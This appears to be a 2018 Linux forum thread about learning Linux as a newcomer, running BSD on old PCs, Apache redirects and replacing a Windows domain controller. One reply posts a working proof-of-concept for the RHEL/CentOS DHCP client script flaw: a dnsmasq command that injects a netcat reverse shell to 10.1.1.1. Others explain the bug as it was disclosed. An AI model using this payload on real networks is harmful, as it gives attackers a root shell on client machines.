|
nem posted:. Red hat publishes some great, thorough documentation. Read question, describes my problem exactly, scroll down.. SUBSCRIBER EXCLUSIVE CONTENT
|
# ? May 15, 2018 16:10 |
|
|
# ? Apr 26, 2024 10:49 |
|
Jerk McJerkface posted:I recommend that for people get familiar with linux is that they get ahold of an old laptop and install Fedora on it. Then get everything (I mean everything) to work, this includes: I'm a rhca and I don't know how to do anything of those things.
|
# ? May 15, 2018 16:24 |
|
jaegerx posted:I'm a rhca and I don't know how to do anything of those things. Yeah, agreed. Using Linux as your desktop only teaches you how to do desktop poo poo. It’s not going to teach you meaningful sysadmin skills anymore than using Windows to play games and watch Netflix will teach you Active Directory or Hyper-V.
|
# ? May 15, 2018 17:04 |
|
Docjowles posted:Yeah, agreed. Using Linux as your desktop only teaches you how to do desktop poo poo. It’s not going to teach you meaningful sysadmin skills anymore than using Windows to play games and watch Netflix will teach you Active Directory or Hyper-V. My point it is gets you used to using command line, looking up Linux help, installing package, and getting generally familiar with using Linux. Also it gives you a really practical environment to interact with Linux every day. When otherwise just studying is a bit too detached. To go further anyone can copy and paste an Apache or nginx config, but my excersize will help you understand how to read logs, think through Linux issues, figure out how to get the help you need. Especially if your goal is a laptop you can use everyday for everything. Necessity is a power teacher. Super-NintendoUser fucked around with this message at 17:13 on May 15, 2018 |
# ? May 15, 2018 17:09 |
|
Docjowles posted:Yeah, agreed. Using Linux as your desktop only teaches you how to do desktop poo poo. It’s not going to teach you meaningful sysadmin skills anymore than using Windows to play games and watch Netflix will teach you Active Directory or Hyper-V. Using Windows to play games is nothing like using Linux as your daily use laptop.
|
# ? May 15, 2018 17:14 |
|
I've never needed to get media keys working on a server, just saying
|
# ? May 15, 2018 17:21 |
|
Jerk McJerkface posted:My point it is gets you used to using command line, looking up Linux help, installing package, and getting generally familiar with using Linux. Also it gives you a really practical environment to interact with Linux every day. When otherwise just studying is a bit too detached.
|
# ? May 15, 2018 17:35 |
|
RFC2324 posted:I've never needed to get media keys working on a server, just saying Conversely, the RHSCA mainly tests your ability to memorize these concepts: 1) file permissions 2) fix selinux (with a command that is EXACTLY in the man page for selinux) 3) setup authconfig-gtk 4) mess around with some volume groups 5) add a couple users Sure, that's a few things that you do as a sysadmin, but the more important thing is figuring our how linux is built, where files are stored, how to analyze logs, and understand how linux is structured (var/ etc/ opt/ boot/ ...) That's very hard to do unless you are required to do it for work, since when you read about it or do exercises, it all just works pretty straightforwardly. However, when you are faced with something you have to get done, like setup media keys, or figure out why your laptop won't hibernate, or why you can't get multiple displays to work correctly, you are forced to dig deeper, start looking at syslog, kernel messages, download and compile some drivers, etc. While I get the exact tasks don't necessarily carry over, it's much better for you to immerse yourself in Linux and learn the concepts. A really good way to do that is to work 100% on a linux system, and get it all working 100% the way you want. You can't do that with out really digging in to linux, which is what some new to linux needs. anthonypants posted:If you think that learning how to Linux boils down to editing configuration files in a console then vimtutor is going to be more beneficial. Again, what I said was that my exercise is a good way for some one to get familiar with Linux. Of course you don't learn more advanced concepts, but that's not the point. RFC2324 posted:I've never needed to get media keys working on a server, just saying There's literally a million different tasks that you can do a on a Linux server. You have to start somewhere. Sure, you can install Apache on something and start messing around, but for a complete novice, it's a bit daunting figuring out where to start. I had the experience where I was a Windows sysadmin and eleven years ago my awful boss one day said "go to this client and fix their PBX, it runs Linux, go figure it out". From then on, I've worked nearly 100% in Redhat or Centos. Most people won't have that experience, so you need something practical to sink your teeth into. nem posted:Everyone is at one point. Best advice I can give you is pick up a book on Apache and read cover to cover. It provides the foundation of many critical RFCs that provide opportunities to learn further. Compile a kernel from source and learn too what the options under Processor features/General setup do at a bare minimum. Get an apache book and read it is basically saying "RTFM newb". I'll 100% agree that this is a good recommendation, but man it's just not fun. Do something practical and interesting. Get a Chromebook and get linux working on it, or setup your own Fedora server at home and move your 100TB of Anime to it, setup NFS on it and figure out how to mount it on your laptop, get working in linux, and learn as you go. Super-NintendoUser fucked around with this message at 17:49 on May 15, 2018 |
# ? May 15, 2018 17:39 |
|
Jerk McJerkface posted:Conversely, the RHSCA mainly tests your ability to memorize these concepts:
|
# ? May 15, 2018 17:56 |
|
Best way to learn linux, or any OS, is find an itch and scratch it. Pick a specific computing goal and go after it. It's better if you get dirty setting things up, but even if you cut and paste from a recipe you still will have learned something and will be better at it next time.
|
# ? May 15, 2018 18:20 |
|
Instead of setting up a desktop that is going to be frustrating to use, i would recommend setting up a lamp stack or something similar. Spin up a blank free tier aws instance and get to serving pages. Then add more services like a private cloud (in the public cloud :v ) Both things teach you how to dig in and figure poo poo out, but at the end of the day only one leaves you with a desktop with limited usefulness
|
# ? May 15, 2018 18:30 |
|
Jerk McJerkface posted:Using Windows to play games is nothing like using Linux as your daily use laptop. Pretend I said create spreadsheets and send emails, or edit video if it makes you feel better. Whatever it is you imagine someone does in their "daily use". Unless you're a developer or sysadmin, most of your daily use can be accomplished without ever opening a terminal. Most of the exercise you assigned just works out of the box on a modern distro and modern hardware, or can be changed clicking boxes in a GUI, so that's going to be a pretty short and shallow tutorial.
|
# ? May 15, 2018 19:01 |
|
xzzy posted:Read question, describes my problem exactly, scroll down.. That is true of most of the knowledge articles but the official documentation for RHEL and other RH products are all freely available and most of them are pretty drat good. https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/
|
# ? May 15, 2018 19:06 |
|
also everything on my laptop worked out of the box hth
|
# ? May 15, 2018 19:06 |
|
Sleep/hibernate stopped working on my thinkpad after updating to fedora 28. It worked perfectly fine in fedora 27.
|
# ? May 15, 2018 19:21 |
|
Boris Galerkin posted:Sleep/hibernate stopped working on my thinkpad after updating to fedora 28. It worked perfectly fine in fedora 27. well click some boxes in the GUI it's that simple always
|
# ? May 15, 2018 19:28 |
|
Jerk McJerkface posted:Get an apache book and read it is basically saying "RTFM newb". I'll 100% agree that this is a good recommendation, but man it's just not fun. Do something practical and interesting. Get a Chromebook and get linux working on it, or setup your own Fedora server at home and move your 100TB of Anime to it, setup NFS on it and figure out how to mount it on your laptop, get working in linux, and learn as you go. There are no silver bullets to proper system administration, just lead (and SO). It’s an enormous space to learn. I’ve run into more situations that don’t fit textbook situations but required overlapping knowledge to figure out. Deep learning is crucial to mastering this space. RTFM really is the best way to accomplish this so you’re aware of what features/options/pathways exist in a particular tool chain. Every bit of technology is built upon existing technology. Understanding fundamentals goes a long way even if those fundamentals are a bit dry.
|
# ? May 15, 2018 19:40 |
|
edit: you know what nah.
Super-NintendoUser fucked around with this message at 20:03 on May 15, 2018 |
# ? May 15, 2018 19:45 |
|
SoftNum posted:Debian at least still has an up to date i386 installation distributed on CD. That should get you basic X windows and a place to start. even when your hardware was current linux support was kind of the wild wild west so depending on graphics card and such there may be many hours of research involved in making everything work. Normally Debian would be my go-to but they actually dropped support a year or two back for P1/K6/K6-2/K6-3/Cyrix CPUs and therefore is not usable except on the PIIs and Athlon. I would have to build the kernel myself to use it. I may give BSD a shot though, never used it before. As for learning Linux I learned quite a lot by trying to make stuff work that shouldn't and repeatedly breaking the OS until I got better at it so it is viable to just try and make an older machine (fully) work to learn how to interact with Linux. In my case my only laptop for ages was a PII 300mhz with 256mb ram and I wanted to be able to browse the internet and watch videos, necessity does indeed make you learn but it requires a lot of research and you end up forced to use the terminal as lightweight UIs usually lack a menu for configuring the system. You usually stop trying to stay in root once you brick the machine for the 5th time though.
|
# ? May 15, 2018 22:14 |
|
Hot take on this dumb conversation: if media keys sound like an interesting problem for you to solve, then you should solve problems you find interesting, not problems you don't find interesting
|
# ? May 15, 2018 22:28 |
|
I suppose I should have stayed out of it but ah well. Either way anything that gets you more exposure to the OS and its workings should be encouraged, just find something you want to do with Linux and do it. Of course reading actual documents and courses is better from a professional point (and long term not learning bad habits) but gotta start somewhere and I personally found the books to be gibberish until I spent some time with the OS first as they often assume you know the bare minimum. This is coming from someone that had to unlearn years of MS-DOS habits and syntax that made Linux even harder than it should have been. Good news on the old PCs, found a couple distros that run OK under the newer PCs, I may just leave the oldest ones running DOS/3.11/95c since they don't seem quite viable unless I just want to host some files. Going to try BSD on the 400mhz K6-2 since I found more RAM and it's up to 768MB. I also did a count, I have 10 systems from between 1994 and 1999, not including all the spare parts. Autoexec.bat fucked around with this message at 00:05 on May 16, 2018 |
# ? May 16, 2018 00:02 |
|
Please always ask in the thread if you have questions about best practices or anything like that. We will argue but you’ll get something out of it. I personally believe you’ll learn Linux best on the command line and not through a GUI. Don’t use the cheater tuis either unless it’s authconfig then go ahead cause gently caress that mess. Do what you want. Lemp stack a wordpress. Setup a proxy so you can hide your porn from work/wife. VPN it up so the nsa can’t see your poo poo. You’ve got free poo poo from aws or google cloud. If you don’t want that complex google for a DigitalOcean code and use their $5 droplets. Whatever be happy. If you ask a question though please explain why you want to do it that way that’s all i ask.
|
# ? May 16, 2018 00:09 |
|
I have a simple question with maybe no answer. One of my big hangups with Linux is I have put my time in at the CLI/command line for years. At this point I prefer to GUI it up for most tasks and yet feel fairly comfortable doing cli stuff if necessary (with enough googling). My point is I REALLY would like a stable GUI with proper drag and drop and hopefully normal things like pinning (shortcuts or whatever) applications to the desktop, folders, aliases, etc. Back in the day I was very in love with OS/2's object oriented GUI where each GUI element had a properties menu you could tweak things with. Pervasive drag and drop, etc. So far every linux gui I have used just fell flat on its face for me. I don't want or need 10 million tweak options, just a well thought out gui that does lower level stuff like mounting SMB and drives automatically. Does this exist at all?
|
# ? May 16, 2018 00:26 |
|
redeyes posted:I have a simple question with maybe no answer. One of my big hangups with Linux is I have put my time in at the CLI/command line for years. At this point I prefer to GUI it up for most tasks and yet feel fairly comfortable doing cli stuff if necessary (with enough googling). My point is I REALLY would like a stable GUI with proper drag and drop and hopefully normal things like pinning (shortcuts or whatever) applications to the desktop, folders, aliases, etc. Back in the day I was very in love with OS/2's object oriented GUI where each GUI element had a properties menu you could tweak things with. Pervasive drag and drop, etc. Mac OS
|
# ? May 16, 2018 00:29 |
|
Autoexec.bat posted:I suppose I should have stayed out of it but ah well. Either way anything that gets you more exposure to the OS and its workings should be encouraged, just find something you want to do with Linux and do it. Of course reading actual documents and courses is better from a professional point (and long term not learning bad habits) but gotta start somewhere and I personally found the books to be gibberish until I spent some time with the OS first as they often assume you know the bare minimum. This is coming from someone that had to unlearn years of MS-DOS habits and syntax that made Linux even harder than it should have been. I hope most of those systems are more interesting than x86. Which is fine, but I don't think I'd pay to run old hardware unless it was a Fuel or Ultra80 or something for nostalgia. BSD has excellent documentation, so you shouldn't have problems there.
|
# ? May 16, 2018 01:27 |
|
write your own, linux needs yet another wm(I mean, it needs one that works well for normal people)
|
# ? May 16, 2018 03:40 |
|
evol262 posted:I hope most of those systems are more interesting than x86. Which is fine, but I don't think I'd pay to run old hardware unless it was a Fuel or Ultra80 or something for nostalgia. I didn't pay for any of them except one or two when they weren't hopelessly out of date so there's that. I also don't plan on leaving them on so cost wise there is basically none it's just something to mess with. A couple are pretty vanilla x86 AT but most of them have something interesting about them at least from a huge nerd perspective such as a high-end custom built Socket 4 system that has PS/2 and Tape backup. Besides I learned computers on them so I don't really want to throw them out at this point. BSD should be interesting, especially since I haven't really tried non-Debian based Linux/Unix in the past, any good resources for getting started? Also yeah, none of the window managers are as good as they could be unfortunately. It is part of why I just use light ones and terminal the rest to avoid the jank.
|
# ? May 16, 2018 04:17 |
|
Given your hardware, I'd try NetBSD. That should work.
|
# ? May 16, 2018 04:23 |
|
Autoexec.bat posted:I didn't pay for any of them except one or two when they weren't hopelessly out of date so there's that. I also don't plan on leaving them on so cost wise there is basically none it's just something to mess with. A couple are pretty vanilla x86 AT but most of them have something interesting about them at least from a huge nerd perspective such as a high-end custom built Socket 4 system that has PS/2 and Tape backup. Besides I learned computers on them so I don't really want to throw them out at this point. the bsds have their respective handbooks which should get you started https://www.freebsd.org/doc/handbook/ https://www.netbsd.org/docs/guide/en/ https://www.openbsd.org/faq/index.html
|
# ? May 16, 2018 06:11 |
|
I wish the fedora sysadmin guide were as exhaustive as the freebsd handbook. That thing covers pretty much anything you'd ever want to do with the system
|
# ? May 16, 2018 06:35 |
|
This vulnerability in some script used by NetworkManager and dhclient in CentOS and RHEL was released today: https://access.redhat.com/security/vulnerabilities/3442151 Here's the current version, after the fix: https://git.centos.org/blob/rpms!dhcp.git/e768f3a02b1e035bb9dffd89df86a403e0ef69e0/SOURCES!11-dhclient Here's the diff: https://git.centos.org/blobdiff/rpm...2a8e3f2e5ada966 I think I get the basic idea of the vulnerability, but I don't understand a few things. Why is that whole chunk in an eval? Why does the PoC (do we post things like that here?) not include an escaped character, but rather a stray single quote? How does the '-r' fix that, since it's supposed to not treat backslashes as escapes?
|
# ? May 16, 2018 14:11 |
|
Not an issue to post POCs here: dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
|
# ? May 16, 2018 14:28 |
|
An Enormous Boner posted:Why does the PoC (do we post things like that here?) not include an escaped character, but rather a stray single quote? How does the '-r' fix that, since it's supposed to not treat backslashes as escapes?
|
# ? May 16, 2018 15:28 |
|
minato posted:"declare" prints out all the environment variables in a format that includes escape chars, so the single quote gets a backslash added. Then read (without the -r) strips off the backslash, which changes the meaning. ooooh poo poo
|
# ? May 16, 2018 22:35 |
|
nem posted:Edit: automatically parse URLs So this is what I ended up with code:
|
# ? May 17, 2018 03:41 |
|
Grump posted:So this is what I ended up with quote:RewriteEngine on That's unnecessary. You're saying if it's domain or https://www.domain.com then redirect to the [url]https://[/url] flavor... and you have that placed in the https flavor . You probably have another VirtualHost container setup in /etc/httpd/conf.d/ssl.conf too or however the default mod_ssl config is named. code:
|
# ? May 17, 2018 05:23 |
|
I have a client running an old install of Win Server 2k8 SBS as the sole AD / DC for an office of about 20-30 machines (all onsite). They've asked me to migrate this to a Samba4 based AD / DC setup, and I'll probably use a canned solution like Univention (UCS) or Zentyal. I'm not married to migrating them away from Windows Server, but they're a small shop with no more than a dozen or so consistent users, and most of their email is done through external POP3 accounts (though there's a seperate project of migrating large legacy archives off of Exchange when the 2k8 SBS machine is retired, but that's for another day/post). I'm curious if anyone has gone through this specific migration before (specifically, from 2k8 SBS to Samba as the AD/DC). Any gotcha's I should keep in mind, road-bumps or hiccups I should watch out for? Any opinions on not making the transition, short-falls in using Samba 4, etc? Thoughts or suggestions?
|
# ? May 17, 2018 17:04 |
|
The pitfall is that you're using random solutions which either break all the time (Zentyal) or don't fit into any patching/remediation strategy they may have (UCS). If they're very dependent on GPOs, neither of these is gonna work. If they aren't, why not use IPA or Azure AD?
|
# ? May 17, 2018 19:25 |
|
They are not terribly dependent upon GPO's, beyond simple user access to network locations/documents. Thus why I thought this might be an ideal situation for a Samba 4 migration. I'm not married to Zentyal either (on the oft-breaking mention), and I don't think having new patching and remediation policies are sufficiently cumbersome to rule out UCS. They are in a fairly remote location (small town, unreliable internet options, frequent outages on both power and connectivity), so anything cloud based is a hard case to push. That said, I'm not familiar with IPA. Do you mean FreeIPA? Seems to be the closest match with a quick google search. edit - ultimately the goal here is to retired the aging 2k8sbs machine, and replace it with something that does not have licensing or recurring fees. They are simply small enough that I don't feel they need the cost of an onsite winserver ad/dc, but are already interred in an existing winserver solution that needs to be upgraded or put out to pasture. And as mentioned above they are unfortunately limited from using more cost-effective cloud solutions. Lukano fucked around with this message at 20:03 on May 17, 2018 |
# ? May 17, 2018 19:57 |
|
|
# ? Apr 26, 2024 10:49 |
|
I did mean FreeIPA, yeah, which will fulfill LDAP+Kerberos+DNS+DHCP without any of the (many) warts of Samba4. Samba4 is fine as long as they're comfortable with Google or paying a consultant for when it inevitably breaks, though
|
# ? May 17, 2018 20:39 |